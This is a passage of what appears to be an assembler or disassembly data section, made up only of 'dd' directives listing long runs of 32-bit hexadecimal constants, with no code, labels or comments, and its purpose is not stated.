0C6B05F69h, 68AB5604h dd 30FC43B6h, 4C27F4h, 85114592h, 52A1FE50h, 745676D2h dd 0A6F50BB7h, 0B9CDC3C1h, 0A5FEB486h, 0B95C5A18h, 9B3D2B94h dd 0B75B667Eh, 9E8C136Ah, 0CE9880DEh, 0C88C0533h, 2BFC32ABh dd 0CA3EC57Dh, 0CAC4E19Ch, 0C1107B49h, 6EBE4217h, 0C4DFBDF6h dd 0DD2F165Dh dd 0BA799FF5h, 0E79087B9h, 0E2FCA7A4h, 852D29FCh, 95429B39h dd 9397A52Ah, 0DA6B5B26h, 19072D65h, 98D0FFBEh, 0B711BCDh dd 3D0A4819h, 0A5E7BC6Fh, 9D82CAD6h, 250563AAh, 0B7ED3435h dd 0DAA75B3Fh, 2D6CAE2Eh, 9A818E14h, 0BEA4F9E0h, 0BEC94AFBh dd 71B6BED7h, 32B80C03h, 9EAE3664h, 0D51C684Ch, 39F22FEBh dd 5DDF2DC6h, 8B0DA1Ch, 0B90480BDh, 0B1200AA2h, 1EC30FB4h dd 9F86E746h, 8B431DB2h, 14D54A19h, 659A9304h, 0CBD27B2h dd 9261AA1Dh, 121A5926h, 827DB5ACh, 0ABD819CEh, 95D700E0h dd 5AA18ADBh, 9E954A10h, 514D36FBh, 0B79CC55Ah, 0ED399836h dd 0CD7718C8h, 3E6A3A9h, 85520912h, 6844B84Fh, 78C3D9C8h dd 0A087D2Fh, 7600F42Bh, 8A912D4Fh, 185CC945h, 8399F0D8h dd 0FD6C426Dh, 287EE6C3h, 0A0FC3DA3h, 0AB73C11h, 543A9875h dd 0C75A659Fh, 4606FEC9h, 34E6251Fh, 6CAF960Dh, 0F2E8841Ah dd 43B75F30h, 424D4B4Ah, 0A770F18h, 0C8E12D08h, 0A9ECB23h dd 63AA5E1Ah, 0FA17A32Bh, 1CEC0504h, 1DA9352Fh, 2F16D768h dd 5FD28D31h, 59ADF6C9h, 8AE84757h, 46E973DFh, 36D1ED85h dd 0D240C20Ch, 0AD640168h, 7012586Fh, 98668DCDh, 5049C30h dd 9374025Eh, 0FBD8E067h, 0ABE193D6h, 0CD4C9381h, 0F643225Ch dd 5FE23371h, 9780540h, 6CF0BCEAh, 0FDF0F60Dh, 0E72DA313h dd 74F95BD4h, 4B0E9FB4h, 41DBE915h, 0D4221290h, 1A5CE430h dd 69B6C4E8h, 0E540B8D5h, 678E192Ah, 0BF44263Ah, 29B0C58Dh dd 0E048A408h, 40AE5270h, 4A14E299h, 9B51A105h, 2310BC8h dd 0F2227878h, 6E18370Dh, 29B010DDh, 36BF74D6h, 0E3CFA419h dd 0DF55828Ah, 1852C129h, 0C9751D66h, 8609C8B7h, 3751CDA2h dd 0E8C323D2h, 9B0B955Bh, 2F03851Fh, 0A075BBDEh, 0D74DCD9Dh dd 0AFB9E83Dh, 0CB3770A2h, 0FE9BFF7Eh, 183EA58Fh, 0FB7FB10h dd 0A038949Fh, 73B22E3Ch, 80DE8801h, 0CA81CF5Ch, 5D2F8ED8h dd 0FEAAB905h, 0B835F022h, 0BE82C5C2h, 0C3C13E7Bh, 702E36A9h dd 0FDE1F236h, 9CF25F93h, 8671634Bh, 34F47F74h, 0BA0AECABh dd 9F63768h, 5BB942DCh, 821FDF87h, 8C5091FFh, 73C87BCFh dd 0B2090FDCh, 480DE360h, 0F7E00B94h, 0AE66EAB4h, 0DC9EF6FEh dd 0C08334EFh, 90663784h, 6E99A650h, 4B92C05Ah, 96D5AC03h dd 0E28B84D7h, 0E9BFA393h, 3B7B0972h, 450B43Ch, 6840F8D4h dd 0FA134947h, 0D15FD996h, 4095CF4Bh, 0A69D9206h, 2D355247h dd 0EBE2F4B3h, 0A5CC7FA7h, 0A0F4A681h, 7131E73Fh, 4AD1373Eh dd 52D1002Eh, 84A22FC6h, 0A5638004h, 81937D3Ch, 19B70B24h dd 8A7F3B21h, 2EFBCB23h, 97F89D3Eh, 87184BC0h, 819F5415h dd 7184A55Ch, 76782655h, 52FE5085h, 8719F9BCh, 352AF448h dd 0F4058C4Ah, 0E69F64F3h, 7BF064F6h, 0CF2B215h, 0FDD4372Ch dd 49487BC5h, 5A17EBD3h, 0B6B026EAh, 50415AA0h, 81FB8A93h dd 0C1AEA9A0h, 20CE3B91h, 33F0DA21h, 7577B403h, 3BD97107h dd 0F73BD88Fh, 9E017B2Fh, 6C837D19h, 0ECC6453Ah, 46163E16h dd 0D695985Bh, 0F5C83587h, 5FFF422Eh, 0D931758h, 59503736h dd 9D04D7Ch, 0BF19112Ah, 0E09D5B44h, 17F24FE2h, 9A088D25h dd 8DEE8BF4h, 0A14021CAh, 9F8FBCB8h, 1F1205DAh, 31E3698Eh dd 0FF55F2C9h, 0C33E4E83h, 132368Fh, 0CE6A7873h, 6948BF21h dd 0DE1061Ch, 939BCB5Fh, 6A651A4Bh, 9141EC5Bh, 94613B5Fh dd 0FF3482A1h, 6254F765h, 0AAE8F5B9h, 0CEDAAEA3h, 5DFFF067h dd 0D4C8C40Ch, 94B0618Fh, 18754011h, 70045D91h, 39875668h dd 8068CEB6h, 67D07580h, 4F2B8056h, 9E97F70Ch, 0E30DE03Ah dd 70C1B3FAh, 0FED772A5h, 5F49F4C2h, 7CBBFDB2h, 64B0DB0Eh dd 543D0D80h, 79E18527h, 5FB7A3FCh, 5BB25577h, 101C96DCh dd 709B84Ch, 2261BF6Fh, 0B11441Ch, 14938E51h, 5DE3768Eh dd 144C5FA3h, 83264EAFh, 0D852DEBAh, 2374DFECh, 225466Bh dd 622DA1B4h, 458FA818h, 37148AF1h, 8AE37562h, 92650698h dd 0D42D6E09h, 1888896Ah, 8327331Eh, 4EA2CB0Fh, 0C7D3486h dd 0B583B6DFh, 629FC9F8h, 0CEFECE8Dh, 51BD653Ch, 0B4D9FEDEh dd 0B6149AD0h, 0CAA64407h, 257793BCh, 0D1379A57h, 0B65D6492h dd 1E3E7BDDh, 0CD8C71FCh, 8308BA19h, 3FCC71D2h, 56F5E132h dd 0C9613F76h, 5B928107h, 0C9627399h, 0A8C7B8C3h, 7B81255Fh dd 0A31D2CBFh, 2D51AE8Ch, 98374F5h, 6FFCEE64h, 53DD4423h dd 5ECCAA30h, 0B6A5F3EEh, 99AFFA5Eh, 51402FAAh, 8B8F8FEAh dd 65E07A23h, 56003D50h, 41FCCD8Dh, 0A7132DCBh, 1BE41DEDh dd 0C973F80h, 0EB173EDCh, 0D90D1CF0h, 0F93C1094h, 0D8AAEF70h dd 3B1F5528h, 0B1B59F81h, 8491A8C0h, 24E081BFh, 0A24BF23Bh dd 0B1058C17h, 0B83CD65Fh, 85D03EA4h, 0A1A4386Dh, 0BC74E4A1h dd 1C3216B3h, 0DC378CB2h, 0C261DA4Fh, 0B849F3E5h, 67137176h dd 0D8F01AF7h, 0E5C1B34h, 8A4AF42Bh, 0F7A1AF72h, 2B65573Bh dd 0A2C18207h, 8AB26B4Ah, 4FCDE5E1h, 0D79DAFDCh, 22A91C01h dd 668BBF34h, 0ACC8FC3Dh, 5AF710D1h, 0DAAAAC7Ah, 0D719F034h dd 80507591h, 2CC02944h, 0D9550ECDh, 282C0624h, 0FC63CDB8h dd 4329914Ch, 329E23D6h, 0AABAE9C5h, 484B95ABh, 9612CAB9h dd 7F52FABBh, 8AAF3B6Eh, 6511B312h, 0F8974009h, 6C9C7446h dd 0A465BD40h, 0FB857F92h, 76370EF5h, 0F68C4E2Bh, 42BF6877h dd 0F3C4C5B3h, 8D146408h, 362DD7B4h, 20B488B8h, 49A7D479h dd 60B2DA1Eh, 1FC17E86h, 6D00CF67h, 8BD4D87Fh, 0F1DBFDDEh dd 87270368h, 528019BAh, 440C4CD1h, 0AE132FE4h, 0D87464ADh dd 0EC57D5FEh, 89772C93h, 117109FFh, 0C483961Ah, 6B81A88Fh dd 85B8C00Eh, 2D45D574h, 0D4B0F887h, 8EC0D753h, 9168ED4Ch dd 7A594AEh, 3DD5EC45h, 69A12BBFh, 0B2532B87h, 48220D7Ah dd 92FEF7B3h, 0BE9050B4h, 0D4EFE103h, 5533F932h, 41A7C31Ah dd 0E701EF34h, 5722C0DCh, 65E6E69Eh, 1E434BD4h, 0CC0B7792h dd 0FD333497h, 27162AAEh, 6D807C67h, 64638401h, 8411A69Bh dd 0E93CCA76h, 1FDAB3F0h, 9203A9A3h, 523036A8h, 732038FCh dd 14595D7h, 6D61A31h, 0D6317BCBh, 99645A21h, 97A633Dh dd 3FB430CFh, 8462F6Dh, 8CD043BDh, 0B219B127h, 6D5A82F0h dd 4DE4DE76h, 4293F5CBh, 0D5734494h, 0FFEB1AEAh, 6DCF133Bh dd 83A5D858h, 4EB26DB7h, 0F871F3FAh, 0BA65BD32h, 59FFB122h dd 6CC54E9h, 407124D8h, 0C0E0CA54h, 4262F394h, 73B9AD64h dd 0F1D29AABh, 0CB2E1DA8h, 0C005E78Bh, 0E3BA5833h, 0DBAA8BC4h dd 0D8BD4521h, 0D2DE1C9Ch, 72FB7645h, 9E8D0F49h, 704A71ACh dd 0F464B258h, 7D60B9DCh, 80ACEACEh, 647E237h, 41822EDh dd 0E545FCA0h, 2A8AE880h, 0A7860AE5h, 96EB53B4h, 94F92A0Dh dd 7D180C41h, 121C2D54h, 0C3CC4F30h, 31B41A79h, 0ECDE0C7Ch dd 0E1BED09Bh, 9653E52Bh, 40986402h, 0B83D2D96h, 1FA1BD89h dd 0A3B672DCh, 8796B51Ah, 3AC1B1D5h, 0D3E75828h, 6EC7071Bh dd 69DE63ECh, 0AD7CDBABh, 12B66B0Bh, 41C8857Ch, 7194DD2Ch dd 0CFEB5916h, 57844852h, 0E5399D3Eh, 0ABD91929h, 4D7DDDFCh dd 7ED14614h, 9604B281h, 13240CFAh, 6EB2B379h, 8DBAF0Dh dd 0BA1013FBh, 79DB80B0h, 0F992AD6Fh, 2E6C7134h, 747E6B5Bh dd 9CC8F51Bh, 0C7FBAB54h, 0A0A9E0F6h, 0DAB86A32h, 1BA612C2h dd 0A581E393h, 19AE2893h, 7133425h, 0AA7CC51Dh, 0A1078471h dd 843E51E2h, 2BC336BFh dd 3A28D04Eh, 0B9B0FECEh, 8B3BD491h, 0CBD0F7E6h, 775AD740h dd 70843C1Fh, 0F2BE491Dh, 0E1E6B90h, 6AA0389Ah, 0ED9E49C1h dd 4518E740h, 88774973h, 2D8A5E12h, 38CB9B8Bh, 182B23DEh dd 6C4908FAh, 68E5CF0Bh, 812E1364h, 0C327DE5Eh, 0AEBD5563h dd 0B9D7EADh, 6BFD446Bh, 79A55EE5h, 0CEDF6DFDh, 0C59B8E9Ch dd 5B39E22Fh, 0A191BCBEh, 0AA1F8637h, 0D3EAFE6h, 0CE57BF7Bh dd 34C0343Dh, 7563980Dh, 84B06C9Dh, 0A5B9C54Eh, 24BD394Ch dd 87C9A481h, 9B9E7697h, 9FEAD739h, 0B16F28E7h, 0FB9DE2A9h dd 0A4985EC5h, 43E377B8h, 0F8921CB0h, 0AE3DBA4Eh, 96046F2Dh dd 27960423h, 517EA750h, 300EDC53h, 85653EE0h, 1C784972h dd 87D05094h, 0ACEE1A61h, 738464C9h, 0C06A71FAh, 3DC54A2Fh dd 7C72392Dh, 28EE424Ch, 8F2F0710h, 4504333Ah, 6C282C5Fh dd 44A9CD4Bh, 0F728960Bh, 2967AB72h, 44F2E523h, 5B880434h dd 768DDCB6h, 55B7762Eh, 29AC82DDh, 0C7AF6416h, 0AA95FD41h dd 2B1C256Fh, 0D8765612h, 155CDA1Ah, 7431A308h, 261D4EBBh dd 6A24B96Bh, 87416CD4h, 0FF48D5CBh, 152CEE70h, 839DFC6Fh dd 1DEEB4C6h, 0A7FD3D7Fh, 0F18E6E25h, 46878F66h, 4D41CF1Dh dd 4814FCCBh, 0D2CB42C5h, 322B5FFAh, 54E04CBh, 5229A27Dh dd 18C6AF28h, 39C91D23h, 0A532F0AFh, 0F646DE2Fh, 0E4BF70C3h dd 5A7A5A85h, 0DB414A6Eh, 0EFD43FD8h, 0CCCDB0D3h, 4D63DD55h dd 191DFBFDh, 0AF9B8274h, 9E92E90Eh, 4AB91D13h, 82E50185h dd 7F9EF4EEh, 48AB1886h, 168D99AAh, 44E39A20h, 5596DF87h dd 0D9B6EF42h, 50036F1h, 0B98DBB18h, 91A81D9Eh, 2CDD8BD3h dd 5815BC95h, 1AD9CA5Ah, 5CF363B9h, 0D3A05E03h, 0A39EFA5h dd 9CE805D0h, 0B5D90F25h, 0AD85CBDBh, 0D91DD8A5h, 16C06EE9h dd 2E44A718h, 839D11A4h, 2BEBE3AFh, 79A667E2h, 2BDF4C2Ch dd 0C4B64A70h, 534BD914h, 0A1C57EDh, 495A9044h, 0DD164740h dd 561FE2A4h, 0FC86296Ch, 6A82C879h, 91086BEEh, 79823703h dd 402A1938h, 0D50F148Fh, 0E6717311h, 581FFBB3h, 0A6656656h dd 0E94BB0ACh, 5F38DB95h, 0D6223D60h, 481FB48Fh, 2E35D794h dd 0A2EB612h, 4618F66h, 21FD63Ah, 564F3F97h, 0DD96C903h dd 859BA7DBh, 0E19D3E21h, 131D5DAEh, 0C44324D6h, 6F20A054h dd 35F38BEEh, 88345563h, 75FAE10Dh, 1EB58B45h, 14606E42h dd 0A2CEAC5Ch, 13445A48h, 6DF5688Dh, 8DE09C09h, 4FB6078Ch dd 909B1505h, 0EA87023Ch, 27130EDEh, 559086C8h, 3395DC6Fh dd 22254E24h, 76A58320h, 0B46A8E45h, 3BE38F1Ch, 0DCBD391Dh dd 667D42D4h, 462E07A2h, 3DC204A9h, 8DBCC263h, 0B9ED3DABh dd 0B7ED3499h, 0A4DBE53h, 2C4E2381h, 9FB28787h, 4F2A9744h dd 538BAAAFh, 0CF427F24h, 0AB507511h, 608265ACh, 50FD4628h dd 0ABD7D749h, 3A1C12A7h, 15421752h, 0C3103B17h, 170C90CAh dd 4CEC369Ch, 7A0F4C2Fh, 0A19F5110h, 632B624Eh, 18F3C671h dd 371D0F64h, 2175D724h, 36193D5Ah, 0C292F277h, 0FB0333BFh dd 0FD5F4616h, 5B60FC6Dh, 67D545F0h, 591F2C28h, 0DB1B7B64h dd 0B2FC56AAh, 94F432DCh, 81FACB1Ch, 2062AA8Ah, 0B197C9Fh dd 0C4EC692Eh, 0F647FAE0h, 47866FA3h, 2C86A557h, 19E2DE8Ah dd 95FB2A07h, 379B2581h, 0F2C96468h, 1B0616F1h, 5490FFC1h dd 0FBCDE324h, 8B3487CAh, 0C2C0A1ADh, 0EA0CF94Ah, 0FE6514C0h dd 1FE2B3F5h, 92C37608h, 609E83D6h, 3C3C75BFh, 0C7174CBCh dd 0B40DE4A1h, 6E6017B0h, 8674323Bh, 71B05B97h, 648A6D9Dh dd 51866946h, 5D5B2673h, 1FA1E868h, 47CF129Ch, 1FBCA7C4h dd 1B39AB9Eh, 76E53661h, 0A1856105h, 71D0971Fh, 0DD6366BDh dd 0CE49E9FBh, 0A6DB1412h, 482A9AD1h, 7EAA0FC2h, 0E3670C30h dd 15B9C4A8h, 923C5181h, 0E0219A79h, 0D74A7EDCh, 730E38E4h dd 0D6F8209Ch, 0DE3E5F79h, 0BA961928h, 0C64BD3B8h, 0A27EDB90h dd 845972BAh, 5327BC42h, 0B3ADF024h, 0EE693D4Dh, 9C653A7Dh dd 0B5714710h, 0ABD957DFh, 7573B68h, 6767AB87h, 32A75BC3h dd 0B6AE1663h, 391BB3D5h, 55924A0h, 0BA51795Ah, 1ED8F3BBh dd 0F679CBAAh, 0A6210E41h, 3C3D1455h, 408D6EB2h, 0D4C63E77h dd 0A22EE29Eh, 0BB665BA0h, 7FDEF44Fh, 657124D2h, 9C4B1796h dd 6AE5C06Fh, 7255302Eh, 9872FF68h, 1F25B105h, 6027E2C6h dd 0D3B5894Fh, 3DAF23Ch, 645CA05Eh, 0DB299707h, 0D6DC982Ah dd 0E25A602Bh, 0E6940FDEh, 21D1E299h, 0A634726Fh, 0C5BF442Eh dd 6778BD49h, 2289D7E0h, 9E129CC2h, 79C7AD00h, 9E62B9B3h dd 5644FAAh, 96A7E143h, 51A2531Eh, 8730EDFDh, 0E3CDA1FCh dd 0E4930559h, 64FE7791h, 0A5EB0029h, 51FD3D1Fh, 2AC5A399h dd 76F10DEAh, 0A92E9F50h, 7B4E603Fh, 3FD20C5Dh, 6460848Dh dd 158DDE97h, 0EDB32F33h, 0C202BAh, 5B97D939h, 0BEB2F528h dd 0D12B54E6h, 4545EE57h, 0A464CAADh, 40F4BC1h, 5A85E48Fh dd 0D35F1E8Dh, 0E46A9103h, 3CA78084h, 9C144038h, 62E3FB3Dh dd 66AFCABFh, 0E76FBA1h, 9E2170E6h, 0F224A4DFh, 48766625h dd 49FCD394h, 1D4C481Fh, 74A8CEFAh, 6A35402Ch, 4AE7EEA6h dd 761DEE0h, 8A9321C2h, 32B16960h, 2A59871Ah, 281E982Eh dd 0A81AA9A4h, 0AA4D1036h, 0BA6AB236h, 6894DE61h, 36B10663h dd 0EC3DF122h, 16866069h, 0BCD4BDh, 0B4AACBD1h, 601F74EDh dd 96A6765Ch, 1F7396FCh, 31131BD1h, 0AD303AA1h, 26762D84h dd 0E1FBA057h, 2DAFBC06h, 34CA923Eh, 9460BFB2h, 6B736272h dd 0B2077F14h, 0F2C422FEh, 4D466192h, 5EB18211h, 16390AB8h dd 4086EF2Ah, 0A525B767h, 0A1156A68h, 313D796h, 8BEB594Dh dd 2041766Ah, 3B6A6615h, 0A24A42CCh, 0F0A44C5Ch, 8C605CB1h dd 5763CBC0h, 304E7F51h, 0E08D930Dh, 0AE7ED9A5h, 6E6EF0DBh dd 75770E0Fh, 718C2EC6h, 0D0BEB80h, 2774AE8Ch, 36A9476Dh dd 9FA91BC3h, 0E5E44E05h, 7A219306h, 95AF5C66h, 0CE934B5Dh dd 0BC915FA1h, 0F3234674h, 0CB3900CFh, 0F969D351h, 8A7D0AB9h dd 0AE5E3DC0h, 79C183BAh, 16B2BACDh, 4392C606h, 0BF64E647h dd 6FB78C66h, 658868E9h, 45069062h, 0DA1DBCA3h, 9A27AF3h dd 0A64250CEh, 0B676A51Ah, 0FDAB52Dh, 354EC5F4h, 0D5C69529h dd 1FF8C1A4h, 41682D27h, 0EEF5A4F7h, 0B0A9A05Eh, 7BD3C9A0h dd 6BAC5C21h, 94E096FAh, 0D7B5A783h, 0C1A4BB63h, 66E5D75Ah dd 2A1BFB24h, 885E6645h, 97E258EAh, 1BB34826h, 22E9C6DAh dd 5A7E94A3h, 483363C4h, 2566EA36h, 409CFD5Fh, 5AD55D4Ch dd 601D5D76h, 165F4CF1h, 7AC12F49h, 0F1EC619Ah, 0D56BE92Eh dd 0A61647D5h, 9B26A391h, 0C0E655A2h, 2AAE922Ah, 7D57BD46h dd 0F371D1C6h, 3A9A10F9h, 0F78C401h, 24FBC097h, 56C8D956h dd 0CF7CCD9Ah, 0B6BC1D77h, 0CDA55BB7h, 0CE4C6E53h, 0F01BFE36h dd 47FB804Dh, 62F9E557h, 8D3CCE9Ch, 0A132F4D4h, 0B4AA5AD6h dd 0D63BC739h, 0E79D4F0Ch, 0ABA0FD73h, 51640E9Ch, 686FDDEFh dd 37CA873Fh, 0A64A694Bh, 0FC0EE18Dh, 6723E440h, 0CB7C4F5Dh dd 6CC2AB6Bh, 0FE4284CAh, 58EF6D78h, 72A83770h, 76E29E14h dd 287873E1h, 0EFCC40A2h, 9C6D8784h, 5E6669AFh, 0DD994979h dd 4E9ADE2Dh, 0F5B76501h, 0B363E170h, 0C696E51Eh, 0C81E4290h dd 3E10028Ah, 92039CC5h, 0B1AD36B9h, 5B567A91h, 0B057939Eh dd 2CE95DC0h, 0DDEBB5A8h, 22F18798h, 330CDB3h, 0E58AD91Ah dd 8D5FE8C3h, 65049D6h dd 758BA599h, 989716A4h, 3B2F5232h, 68BAB69Fh, 8B3659B4h dd 4E5B316Eh, 41A185D8h, 0E53A66A8h, 0B798C78Fh, 0E7225842h dd 687E5995h, 0F96D7605h, 91FBC643h, 6038C442h, 8992731Bh dd 29E42D10h, 0E2C7EB00h, 0EB92DDF4h, 543CF578h, 0FA374F87h dd 59A2FE1Bh, 5A02554h, 45B54384h, 0ECCC76BCh, 826D3AA8h dd 83AF4D17h, 59C41185h, 7A2FE927h, 0F64890FBh, 3B5B057Bh dd 22E069F8h, 3C2C2654h, 7E7BD7D7h, 1F026519h, 3E2D02ADh dd 1C35E927h, 21111320h, 0B80570A1h, 1BD80F48h, 3DCD0527h dd 9315354Dh, 0B5630E6Ch, 28CBCAh, 0F77315BDh, 840A5ABFh dd 0C308AA19h, 968646E9h, 7F04F421h, 0FE61034Fh, 40D61016h dd 7A67E322h, 64E57743h, 1DF9217Fh, 0B459D5D0h, 2F87AD1Ch dd 2885A92Ch, 55284FBh, 9F943B55h, 1F120778h, 0E26BF4CEh dd 3FC01153h, 410528BEh, 1F0C440Dh, 8444E73h, 0DEBA1210h dd 1830DE31h, 0B59AEC17h, 32CBCDD7h, 356D108Ah, 25BCD9D4h dd 8F747A3Dh, 0BA7EFCA1h, 84D78F82h, 266145B2h, 85C45C79h dd 0A7EF876Eh, 8A0A2EB2h, 4CBA5A9Bh, 2CCD46Dh, 0C8B8C5CBh dd 0D77213A5h, 10A793D9h, 0FACB17E2h, 0D175FBF2h, 17F4EB54h dd 2F5363A5h, 0B8E3A2ECh, 0B64750CFh, 0F453596h, 0B2B90D6Eh dd 84000F7Dh, 0E89FCF9Eh, 108F7575h, 0F71C4CB7h, 17590EF4h dd 92CDB4CFh, 24C151B0h, 9869D26Eh, 68730D1Bh, 0B43F056Ch dd 4D5AE520h, 0AE72643Bh, 9758183Dh, 0F43A21E6h, 0DAB3CA1Fh dd 8BB4FCF0h, 6858963Eh, 9D3D748Fh, 27429487h, 9409D36Ah dd 77841CA4h, 0ABF80269h, 0E8031392h, 94407D90h, 6203E8B1h dd 0C05DEA64h, 0EBCE9983h, 9F2108F4h, 9843AF76h, 845C6E50h dd 0FB32056Bh, 6CA9645Ah, 7D21C923h, 0E2A0C8A7h, 0C602A7D6h dd 5F38D5F0h, 3AFC5329h, 95A8D110h, 0F2E80ADBh, 70503C1Bh dd 0EE408099h, 0AC6708C1h, 9121098Fh, 7C77F9B1h, 52B00A12h dd 0D5F52093h, 0CAE050EEh, 37A72446h, 0B4FA510Fh, 944BC2D0h dd 0DD353359h, 0E91DA825h, 94CC9033h, 0CEA6E378h, 4F93D23Eh dd 3B228153h, 0FAE53D48h, 959CE37Bh, 0CFB98E82h, 270CDB2Ch dd 6E453D3Dh, 0AF89863Bh, 34F39153h, 57F853C4h, 68564C43h dd 9FFADACCh, 69061Ah, 35920F42h, 443F9FD6h, 0D21F14E0h dd 905FB23Ah, 0DCC1F0BEh, 523B38C9h, 38561738h, 18351978h dd 0EED84475h, 0B8134A3h, 55205C37h, 0DDD5E79Eh, 0ED4E9D63h dd 86ECA9C1h, 5E24F259h, 6F9D733Ah, 8CC015A7h, 0A21CAD3h dd 678B2333h, 38534933h, 0C9625A21h, 6CDA3796h, 0ACE5AA5Fh dd 86AE4593h, 0F415576Eh, 5356A485h, 3D84221Bh, 95A6B0D8h dd 3B537BFBh, 918FFBD6h, 6555872Fh, 55DE752Dh, 6BF503D8h dd 0B3DFD419h, 0A020EBC3h, 0D2CBB799h, 89606935h, 0DEA615D3h dd 8A6D13BEh, 68E087F7h, 3D9D86E0h, 8C1E9656h, 284D3FF6h dd 82A2B8A3h, 0D9720A15h, 3EAA1FDh, 0E66BB892h, 0A20559B9h dd 1ED6BAB7h, 0EF91235h, 926B2213h, 0CC8BC166h, 74214A48h dd 1FC8007h, 3FF1441Eh, 67E9FA8Fh, 768D4E5Fh, 844F4847h dd 878EBDA0h, 965C2D36h, 7C80DBDEh, 0A4C65A0Ch, 0A521AF1Dh dd 0EB457948h, 428BD00Ah, 1C374554h, 0B64D21F2h, 31628660h dd 1E2AF409h, 49A5E4C4h, 80F36AE1h, 0E0E3B9F5h, 0BC0FBE18h dd 7D39F98Dh, 0BABF1340h, 0DA276827h, 2706A209h, 67BEA50Dh dd 32B381Eh, 2D7E5D11h, 6E5948ACh, 8473EEB6h, 0D0C27F32h dd 553021F2h, 3E491AA9h, 6B67E7EAh, 0B9890B74h, 6A135601h dd 3ABCC24h, 0A0CC3BD8h, 849EA40Ah, 0F0F90F10h, 575C600Eh dd 0B0D7F9D9h, 460F9A74h, 0C996288Ch, 6C917619h, 0A6BE779Bh dd 0C1FD3DE9h, 1C68DABh, 57F7C282h, 3E228DB1h, 0E4577E64h dd 3EE55A7Dh, 3CF75EA1h, 0CF555332h, 4BD401BEh, 0ED168E1Fh dd 432D98ADh, 0E8B9F1E8h, 60C80F80h, 1D172A80h, 0B45DEB15h dd 917DBA37h, 511F16C0h, 85B00028h, 0F380EDC1h, 0B2669F7Dh dd 0E4A28E88h, 0DD91F896h, 0E682136h, 0EB05381h, 3172D28Dh dd 0CAA279D9h, 600337E2h, 7C7DA778h, 9D6B1DD6h, 49F39D37h dd 36F3BCA1h, 0D64EC1D5h, 862019FCh, 758D9EF0h, 4083C7E2h dd 9EBF965Eh, 0A5AC8858h, 8A1E1DC4h, 74070765h, 7386CBFDh dd 7B614352h, 0B463AA44h, 9D2163AEh, 5A1561BEh, 71E542Fh dd 37592231h, 722354FCh, 6DF79F75h, 17DA0E8h, 832037CAh dd 2FE0BEC7h, 0A6A2999Ch, 1D5DF576h, 0ECAA497Ch, 94D1F221h dd 9ADE17C4h, 0E1C30B59h, 0E35D53E1h, 86CB74FCh, 2B86A1BEh dd 0C6E63683h, 0D83C48E9h, 7AC6892Dh, 42559D69h, 0C0F65D53h dd 1BAF7358h, 0B33C7E1h, 23C2BA9Ah, 3BDFC707h, 0D386001Fh dd 5AD495AEh, 7BC8AB27h, 20A682FDh, 2F1FA065h, 0A1F856A1h dd 108A84C1h, 0AE9BA68Bh, 2F752FA2h, 0C925345Ch, 0B0770FD1h dd 13043CEEh, 3763874h, 0C1B500D1h, 86DE652Bh, 0A38D98AFh dd 8D7B0822h, 0EDCCA535h, 7A40B041h, 1B54BEA2h, 0D53CA48Fh dd 15124EF2h, 0C8664694h, 1742h, 9407323Fh, 2802655Eh dd 6757DBF4h, 5E2105F4h, 0F8C8C509h, 0FAE452ADh, 0E2672A4Ah dd 3B9DA3F7h, 24F86723h, 0D61B57ECh, 7A8CFE91h, 69E8A05Ch dd 97B9D47h, 8AD3123Ch, 0DD4BC93h, 0C995F070h, 239BECB0h dd 77FA8E60h, 0AA51E9CDh, 84E38E5Ch, 0C7D8BC6Dh, 0EB815A64h dd 0E7AEBCB4h, 0A8BFE7A1h, 0A6DFD513h, 1621B0EFh, 74F49E4Bh dd 7AAD824Dh, 39D4D1DDh, 0BE065E2Fh, 0E0EBF448h, 392C02C2h dd 629C0149h, 57767EC7h, 87244E25h, 4CA4732Dh, 0BAB84F88h dd 72F5E104h, 950AE31Dh, 740B3C2h, 0C74ECE53h, 607AC066h dd 67027A86h, 0D2057DFFh, 57483ECFh, 4C19A810h, 0CE26A232h dd 0B6A137A3h, 0C2ACDB4Bh, 0CCCADB95h, 0AC55DCAFh, 0D564B838h dd 0D07A73F2h, 9A4FACDAh, 688F287h, 52979BD9h, 0E57F1BFAh dd 0CD954C35h, 188087D7h, 171EB50Eh, 36F2D503h, 0A40E377Eh dd 0BD022ECEh, 68146EFCh, 60F3A460h, 5D633287h, 89E72059h dd 5F972520h, 0C6A9267Fh, 7CD2FACh, 5053C069h, 0D0E569DCh dd 8B52FEEDh, 38FC6FA1h, 0DBB2D50Ch, 0FDE0E556h, 0C4FB4C7Fh dd 1BD860A1h, 28E13E12h, 73A45C6Bh, 6FF9ED96h, 8E2B5ADCh dd 2F6F50C3h, 0C56B8308h, 0F81FC2BEh, 4B920B4Ah, 0C81E448Eh dd 3777D87Ah, 5B6DA2FAh, 0E1EC381Ch, 3DC56285h, 0EFE0E86Dh dd 4CBCFBBBh, 35A6D0D7h, 659CB542h, 73BF7742h, 0D4A3F5BDh dd 3AD5A1F9h, 6ECF0D87h, 1F72A825h, 37093E1Bh, 1FECB456h dd 0D28438FCh, 6E9C0CE4h, 888ED1A5h, 755FE340h, 381CE188h dd 80F07293h, 9BA60684h, 0C53FF50Dh, 0E882CA90h, 0D49C43C9h dd 4C2CDC02h, 622717A0h, 32AADC59h, 0B2D90ED0h, 2AF408D4h dd 0FB6D628h, 35CCFB2Eh, 0F6ED0383h, 8964A9BDh, 1EBB0281h dd 1B07D510h, 25F088A5h, 0A33C2CF5h, 9017E808h, 879A7DE5h dd 293A8EE8h, 0EFD8BC0Ah, 2D210946h, 0A4C4FF3h, 0DD3F61E7h dd 53EF305Bh, 239EFA99h, 6AE378DEh, 0EADDA6F5h, 11F3F235h dd 422A93CEh, 5B78FEAh, 0C7079775h, 398FF4E0h, 1B2C3AAAh dd 292DB9F0h, 44C155F2h, 0AA810E61h, 86FD6BE3h, 0FDF4C282h dd 0D40C2B45h, 630D9227h, 42365199h, 55AE6047h, 3C900FDAh dd 0F30CD038h, 9D1356A9h, 0D982CF9Eh, 0AB876257h, 6F38201Bh dd 9A738308h, 0D36483BEh, 0BBE27F1Ah, 0AEA1E585h, 0F73CA358h dd 8610F474h, 99B555DDh dd 5F4B9A15h, 0DE4CC802h, 98A78F33h, 7D0E9D9h, 0DDD411Ch dd 16C35681h, 0DB053E74h, 0C44B7D38h, 0D0C0EA87h, 13BB781Dh dd 6232F270h, 0E28F479Bh, 0CE12DEEBh, 5B0C4D24h, 0B399328Ah dd 1FC011EEh, 1733626Ch, 8DBBC3BEh, 7887BC3Eh, 0E461A990h dd 0D378B01Eh, 18C57C39h, 5D5E2EAEh, 78BEA32Ch, 546472FBh dd 654B6F66h, 0F39C726Ch, 255DBED3h, 0DD7F4974h, 0E030DF40h dd 0D0BE490h, 13745ADBh, 